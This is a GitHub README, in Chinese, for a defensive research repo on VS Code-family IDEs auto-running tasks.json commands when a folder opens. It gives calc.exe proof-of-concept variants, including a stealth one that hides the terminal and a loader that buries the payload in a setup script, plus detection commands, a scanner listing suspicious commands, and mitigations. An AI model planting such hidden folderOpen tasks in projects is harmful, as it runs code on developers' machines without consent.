messecv3/ide-task-rce

GitHub: messecv3/ide-task-rce

针对 VS Code 系 IDE 的 tasks.json 自动任务执行漏洞的安全研究项目,提供多变种 PoC、检测扫描器、YARA/Sigma 规则和企业级缓解方案。

Stars: 0 | Forks: 0

# ⚡ IDE Folder-Open RCE: 自动任务执行漏洞 [![受影响: VS Code](https://img.shields.io/badge/Affected-VS%20Code-blue?logo=visualstudiocode)](https://code.visualstudio.com/) [![受影响: Cursor](https://img.shields.io/badge/Affected-Cursor-purple)](https://cursor.sh/) [![受影响: Windsurf](https://img.shields.io/badge/Affected-Windsurf-teal)](https://codeium.com/windsurf) [![受影响: Kiro](https://img.shields.io/badge/Affected-Kiro%20(AWS)-orange)](https://kiro.dev/) [![受影响: Antigravity](https://img.shields.io/badge/Affected-Antigravity%20(Google)-4285F4)](https://idx.google.com/) [![严重程度: 高](https://img.shields.io/badge/Severity-High-red)]() [![MITRE ATT&CK: T1204.001](https://img.shields.io/badge/MITRE-T1204.001-orange)](https://attack.mitre.org/techniques/T1204/001/) [![目的: 教育](https://img.shields.io/badge/Purpose-Educational%20%2F%20Defensive-green)]() [![许可: MIT](https://img.shields.io/badge/License-MIT-yellow)](LICENSE) ## 📋 目录 - [概述](#-summary) - [受影响软件](#-affected-software) - [工作原理](#-how-it-works) - [攻击变种](#-attack-variants) - [真实世界利用](#-real-world-usage) - [影响评估](#-impact-assessment) - [复现步骤](#-reproduction-steps) - [检测方法](#-detection-methods) - [缓解措施](#-mitigation) - [你是否有漏洞?](#-are-you-vulnerable) - [扫描工具](#-scanner-tool) - [常见问题](#-faq) - [参考资料](#-references) - [免责声明](#%EF%B8%8F-disclaimer) ## 🔍 概述 VS Code 及其衍生 IDE(Cursor, Windsurf 以及其他基于 Electron 的编辑器)支持一种 `tasks.json` 工作区配置,可以定义**在打开文件夹时自动运行**的任务。通过在任务上设置 `"runOn": "folderOpen"`,攻击者可以在受害者于 IDE 中打开恶意仓库或项目文件夹的瞬间实现**任意命令执行**。受害者不需要点击任何东西、运行任何命令,甚至除了打开文件夹之外不需要与编辑器进行任何交互。这一设计特性已被 Lazarus Group (DPRK) 在野积极利用,作为“传染性面试”(Contagious Interview) 活动的一部分,通过木马化的编码挑战和开源仓库 targeted 开发者。 ## 🎯 受影响软件 | IDE | 有漏洞 | 备注 | |-----|-----------|-------| | [**Visual Studio Code**](https://code.visualstudio.com/) | ✅ 是 | 自 tasks API v2.0 以来的核心功能 | | [**Cursor**](https://cursor.sh/) | ✅ 是 | 继承了 VS Code 任务系统 | | [**Windsurf (Codeium)**](https://codeium.com/windsurf) | ✅ 是 | 继承了 VS Code 任务系统 | | [**Kiro (AWS)**](https://kiro.dev/) | ✅ 是 | 基于 VS Code;继承了任务系统 | | [**Antigravity (Google)**](https://developer.google.com/project-idx) | ✅ 是 | 基于 VS Code;继承了任务系统 | | [**VSCodium**](https://vscodium.com/) | ✅ 是 | 开源 VS Code 分支 | | [**code-server**](https://github.com/coder/code-server) | ✅ 是 | 基于浏览器的 VS Code | | [**GitHub Codespaces**](https://github.com/features/codespaces) | ⚠️ 视情况而定 | 可能具有工作区信任缓解措施 | | **任何兼容 VS Code 任务的 Electron IDE** | ⚠️ 可能 | 如果它们实现了 tasks.json 规范 | **受影响平台:** Windows, macOS, Linux(运行这些 IDE 的所有平台)。 ## ⚙️ 工作原理 ### 任务系统 VS Code 使用 `.vscode/tasks.json` 来定义构建任务、linter、测试运行器和其他自动化流程。这是开发者通常包含在仓库中的**受信任的工作区配置**。 ### 触发器 `"runOn": "folderOpen"` 属性告诉 IDE 在打开工作区时**自动**执行任务: ``` Developer opens folder │ ▼ IDE reads .vscode/tasks.json │ ▼ Finds task with "runOn": "folderOpen" │ ▼ Executes "command" in shell ← ARBITRARY CODE EXECUTION │ ▼ Attacker's payload runs with user privileges ``` ### 最小化恶意 tasks.json ``` { "version": "2.0.0", "tasks": [ { "label": "build", "type": "shell", "command": "calc.exe", // <-- Arbitrary command "runOptions": { "runOn": "folderOpen" // <-- Triggers on folder open } } ] } ``` ### 为什么这很危险 1. **无需用户交互** — 命令在文件夹加载的瞬间运行。 2. **受信任的文件路径** — `.vscode/tasks.json` 是开发者期望在仓库中看到的标准配置文件。 3. **易于隐藏** — 任务可以掩埋在合法的构建任务中。 4. **完整的用户权限** — 命令以当前用户身份运行,继承其所有权限。 5. **跨平台** — 可以为每个 OS 指定不同的命令(`windows`, `linux`, `osx` 属性)。 6. **隐蔽选项** — 终端输出可以使用演示设置隐藏。 ## 🔪 攻击变种 ### 变种 1: 基础 (直接执行) 最简单的形式。打开文件夹时直接运行命令。 ``` // .vscode/tasks.json { "version": "2.0.0", "tasks": [ { "label": "build", "type": "shell", "command": "calc.exe", "runOptions": { "runOn": "folderOpen" } } ] } ``` **检测难度:** 简单 — 命令清晰可见。 参见: [`variants/1-basic/`](variants/1-basic/) ### 变种 2: 隐蔽 (隐藏终端 + 特定 OS Payload) 隐藏终端面板并使用单独的特定 OS 命令。`command` 字段显示一个良性的 `echo`,而真正的 payload 在特定 OS 覆盖项中。 ``` { "version": "2.0.0", "tasks": [ { "label": "initialize workspace", "type": "shell", "command": "echo 'Initializing project...'", "windows": { "command": "cmd /c start calc.exe" }, "presentation": { "reveal": "never", "echo": false, "focus": false, "panel": "shared", "close": true }, "runOptions": { "runOn": "folderOpen" } } ] } ``` **检测难度:** 中等 — 需要检查特定 OS 覆盖项和演示设置。 参见: [`variants/2-stealth/`](variants/2-stealth/) ### 变种 3: 加载器 (委托给脚本) tasks.json 调用一个看起来合法的脚本(例如,Python 设置文件),其中包含实际的 payload。这增加了一层间接性,可以避开简单的 tasks.json 扫描。 ``` // tasks.json just runs a "setup" script { "version": "2.0.0", "tasks": [ { "label": "setup environment", "type": "shell", "command": "python", "args": ["scripts/setup.py"], "runOptions": { "runOn": "folderOpen" } } ] } ``` ``` # scripts/setup.py — 外观合法但包含 payload import subprocess, platform def setup_environment(): """Configure project dependencies.""" print("Setting up development environment...") # ... legitimate-looking code ... if platform.system() == "Windows": subprocess.Popen(["calc.exe"]) # Payload buried in setup logic ``` **检测难度:** 困难 — tasks.json 看起来是良性的,payload 在单独的文件中。 参见: [`variants/3-loader/`](variants/3-loader/) ## 🌍 真实世界利用 ### Lazarus Group / 传染性面试 (Contagious Interview) 活动 朝鲜 APT 组织 **Lazarus**(被追踪为 **FAMOUS CHOLLIMA**, **UNC4899**)已将此技术武器化,作为**“传染性面试”**活动的一部分: - **目标:** 软件开发者,主要是那些申请工作或为开源项目做出贡献的人。 - **方法:** 受害者收到“编码挑战”或被引导克隆一个木马化的 GitHub 仓库。该仓库包含一个恶意的 `.vscode/tasks.json`,在文件夹打开时执行 payload。 - **Payload 链:** 初始任务通常运行一个脚本,下载并执行后续阶段的恶意软件(信息窃取器、RAT、加密货币钱包窃取器)。 - **规模:** 已发现数十个木马化的 npm 包和 GitHub 仓库。 ### 主要报告 - **Microsoft Threat Intelligence (2025 年 2 月):** 记录了 FAMOUS CHOLLIMA 利用 VS Code tasks.json 通过虚假工作面试攻击开发者。 - **Abstract Security:** 对 folderOpen 执行机制和检测策略的详细分析。 - **SecurityJoes / PaloAlto Unit42:** 追踪了更广泛的传染性面试活动基础设施。 ## 💥 影响评估 | 因素 | 评级 | |--------|--------| | **利用难易度** | 非常简单 — 只需向仓库添加一个 JSON 文件 | | **所需用户交互** | 无 — 打开文件夹即可 | | **权限提升** | 以当前用户身份运行(在开发机上通常为管理员) | | **隐蔽潜力** | 高 — 终端可隐藏,payload 可委托 | | **受影响人群** | 数百万 VS Code / Cursor / Windsurf 用户 | | **在野利用** | 是 — Lazarus Group / 传染性面试 | ### 攻击者可以做什么 - 以当前用户身份执行任何命令 - 下载并运行额外的恶意软件 - 窃取源代码、凭证、SSH 密钥、浏览器数据 - 安装持久化后门 - 横向移动到内部网络 - 窃取加密货币钱包密钥 ## 🧪 复现步骤 ### 快速测试 (变种 1) 1. 在系统上的任何位置创建一个新文件夹: mkdir test-vuln && cd test-vuln mkdir .vscode 2. 创建包含以下内容的 `.vscode/tasks.json`: { "version": "2.0.0", "tasks": [ { "label": "build", "type": "shell", "command": "calc.exe", "runOptions": { "runOn": "folderOpen" } } ] } 3. 在 VS Code / Cursor / Windsurf 中打开该文件夹: code test-vuln 4. **结果:** Windows 计算器应该会自动打开,除了打开文件夹外无需任何用户交互。 ### 如果计算器没有打开 - 您可能启用了**工作区信任** (Workspace Trust)(VS Code 会显示信任提示)。 - 检查 `Settings > task.allowAutomaticTasks` — 如果设置为 `"off"`,则自动任务被禁用。 - 您之前可能对此工作区点击了“从不”(Never) 以关闭自动任务。 ### 测试其他变种 使用 [`variants/`](variants/) 目录中的 PoC。每个都是独立的 — 只需在 IDE 中打开变种文件夹即可。 ## 🔎 检测方法 ### 1. 静态文件扫描 搜索包含 `folderOpen` 的 `tasks.json` 文件: ``` # Linux/macOS find /path/to/repos -path '*/.vscode/tasks.json' -exec grep -l 'folderOpen' {} \; # Windows PowerShell Get-ChildItem -Path C:\repos -Recurse -Filter tasks.json | Where-Object { $_.FullName -match '\.vscode' } | Where-Object { (Get-Content $_.FullName -Raw) -match 'folderOpen' } ``` ### 2. 使用内置扫描器 此仓库包含一个扫描器,用于检查恶意模式: ``` python scanner/scan.py /path/to/check ``` 参见: [扫描工具](#-scanner-tool) ### 3. YARA 规则 使用内置的 YARA 规则进行文件级检测: ``` detection/yara_rules.yar ``` ### 4. Sigma 规则 使用内置的 Sigma 规则进行基于日志的检测: ``` detection/sigma_rule.yml ``` ### 5. 行为监控 监控由 VS Code / Cursor / Windsurf shell 进程衍生的子进程,特别是: - 带有编码命令的 `powershell.exe` 或 `pwsh.exe` - 衍生网络实用程序的 `cmd.exe` - 从 `.vscode` 相邻路径运行脚本的 `python` / `node` - 任何在 IDE 启动后立即建立网络连接的进程 ## 🛡️ 缓解措施 ### 对于个人用户 #### 选项 1: 禁用自动任务 (推荐) 在 VS Code / Cursor / Windsurf 设置 (`settings.json`) 中: ``` { "task.allowAutomaticTasks": "off" } ``` 或通过 UI:`Settings` > 搜索 `task.allowAutomaticTasks` > 设置为 `off`。 #### 选项 2: 启用工作区信任 确保工作区信任已启用(VS Code 默认): ``` { "security.workspace.trust.enabled": true } ``` 这会在信任新工作区之前提示您。在打开不熟悉的仓库时**不要盲目点击“信任”**。 #### 选项 3: 打开前检查 在 IDE 中打开任何克隆的仓库之前,检查 `.vscode/tasks.json`: ``` cat .vscode/tasks.json 2>/dev/null || echo "No tasks.json found" ``` ### 对于组织 - 通过组策略或 MDM 部署 `task.allowAutomaticTasks: "off"` 设置。 - 实施标记 tasks.json 中 `runOn: folderOpen` 的预提交钩子。 - 向端点检测添加 YARA 规则。 - 培训开发者识别此攻击向量。 - 参见: [`mitigations/`](mitigations/) 获取详细的企业指导。 ## 🔬 你是否有漏洞? 运行此快速检查: ### 第 1 步: 检查您的设置 打开 IDE 并进入设置。搜索 `task.allowAutomaticTasks`。 | 值 | 状态 | |-------|--------| | `"off"` | **受保护** — 自动任务将不会运行 | | `"on"` | **有漏洞** — 自动任务运行且无提示 | | `"prompt"` (某些版本中的默认值) | **部分受保护** — 您会被询问,但可能会点击通过 | ### 第 2 步: 检查工作区信任 在设置中搜索 `security.workspace.trust.enabled`。 | 值 | 状态 | |-------|--------| | `true` (默认) | **部分受保护** — 新文件夹需要信任批准 | | `false` | **有漏洞** — 所有文件夹自动受信任 | ### 第 3 步: 使用扫描器 ``` # 递归扫描目录 python scanner/scan.py /path/to/scan # 示例 python scanner/scan.py ~/projects python scanner/scan.py C:\Users\dev\repos python scanner/scan.py . ``` ## 🔧 扫描工具 此仓库包含 Python 和 PowerShell 版本的扫描器。 ### Python 扫描器 ``` # 递归扫描目录 python scanner/scan.py /path/to/scan # 示例 python scanner/scan.py ~/projects python scanner/scan.py C:\Users\dev\repos python scanner/scan.py . ``` 扫描器检查: - `runOn: folderOpen` 触发器 - 可疑命令(`powershell -EncodedCommand`, `curl`, `wget`, `msiexec`, `Start-Process` 等) - 不匹配的 `command` 与 `windows.command` / `linux.command` / `osx.command`(隐蔽技术) - Base64 编码的 payload - 隐藏的演示设置(`reveal: "never"`, `echo: false`) - 脚本执行(由任务调用的 Python,, Bash 脚本) 输出使用颜色编码的严重程度:**SAFE**, **WARNING**, **DANGEROUS**。 ### PowerShell 扫描器 ``` .\scanner\scan.ps1 -Path C:\Users\dev\repos ``` ## ❓ 常见问题 **Q: 这是一个 Bug 还是功能?** A: 这是一个*功能* — VS Code 出于开发者的便利性考虑,有意支持 `runOn: folderOpen`。安全问题在于它开启了一个低摩擦的攻击向量,特别是在开发者经常克隆和打开不受信任仓库的环境中。Microsoft 已添加缓解措施(工作区信任),但底层能力仍然存在。 **Q: 工作区信任能完全保护我吗?** A: 部分能。如果启用了工作区信任(默认),VS Code 将在信任新文件夹之前提示您。但是,许多开发者习惯性地点击“信任”而不审查工作区配置,并且一些用户因为频繁的提示而完全禁用了工作区信任。 **Q: 这种攻击可以通过 GitHub PR 执行吗?** A: 可以。如果 Pull Request 添加或修改了 `.vscode/tasks.json`,并且审查者检出 PR 分支并在其 IDE 中打开它,payload 将会执行。 **Q: VS Code 扩展是否涉及其中?** A: 不。此攻击仅使用内置的 VS Code 任务功能。不需要扩展。 **Q: 为什么是 calc.exe?** A: `calc.exe` (Windows 计算器) 是概念验证演示的标准良性 payload。它在证明代码执行的同时不造成任何伤害。此仓库中的所有 PoC 仅使用 calc.exe。 **Q: 这可以在 macOS/Linux 上使用吗?** A: 可以。`command` 字段在系统 shell 中运行。在 macOS 上您可以使用 `open -a Calculator`,在 Linux 上使用 `xcalc` 或任何其他命令。`windows`, `linux`, 和 `osx` 属性允许在单个 tasks.json 中指定特定于 OS 的命令。 ## 📚 参考资料 - [Microsoft: FAMOUS CHOLLIMA 利用恶意 VS Code 项目针对开发者 (2025)](https://www.microsoft.com/en-us/security/blog/) - [Abstract Security: VS Code tasks.json folderOpen 攻击分析](https://www.abstractsecurity.com/) - [MITRE ATT&CK T1204.001 — 用户执行: 恶意链接](https://attack.mitre.org/techniques/T1204/001/) - [MITRE ATT&CK T1059 — 命令和脚本解释器](https://attack.mitre.org/techniques/T1059/) - [VS Code 任务文档 — runOn 属性](https://code.visualstudio.com/docs/editor/tasks#_run-behavior) - [Lazarus Group / 传染性面试 — CISA 咨询公告](https://www.cisa.gov/) - [SecurityJoes — 传染性面试活动分析](https://www.securityjoes.com/) - [Unit42 — DPRK IT 工作者与开发者 targeting](https://unit42.paloaltonetworks.com/) ## ⚖️ 免责声明 此仓库**严格用于教育和防御性安全研究目的**。概念验证演示仅使用良性 payload(`calc.exe`),旨在提高对此攻击向量的认识。 - **请勿**使用这些技术进行未经授权的系统访问。 - **请勿**修改这些 PoC 以包含恶意 payload。 - 作者不对滥用此信息负责。 - 此处记录的所有技术均基于公开已知、有据可查的攻击方法。 - 如果您发现此漏洞在野被利用,请向受影响的组织和相关当局报告。 **负责任的披露:** 这记录了一种*已知的、公开披露的*攻击技术,该技术已在野被积极利用。Microsoft 已知晓此能力并实施了部分缓解措施(工作区信任)。此仓库的目的是帮助防御者检测和预防这些攻击。 ## 🤝 贡献 欢迎贡献!如果您有: - 额外的检测规则(Splunk, ELK 等) - 扫描器改进 - 在野发现的新攻击变种 - 其他 IDE 的缓解策略 请开启一个 issue 或提交 pull request。 *为安全研究社区创建。保持安全,审计您的工作区。* 🛡️
标签:AI合规, AMSI绕过, Cursor 编辑器, Electron 安全, Homebrew安装, IDE 安全, PoC 验证, RCE, Sigma 规则, T1204.001, tasks.json, VS Code 漏洞, Windsurf, YARA 规则, 任意命令执行, 企业 mitigation, 信任关系滥用, 加密, 域名分析, 威胁检测, 恶意项目, 教育目的, 数据展示, 文件夹打开攻击, 文档安全, 漏洞扫描器, 红队, 编程工具, 自动任务执行, 软件供应链安全, 远程代码执行, 远程方法调用, 逆向工具, 防御性安全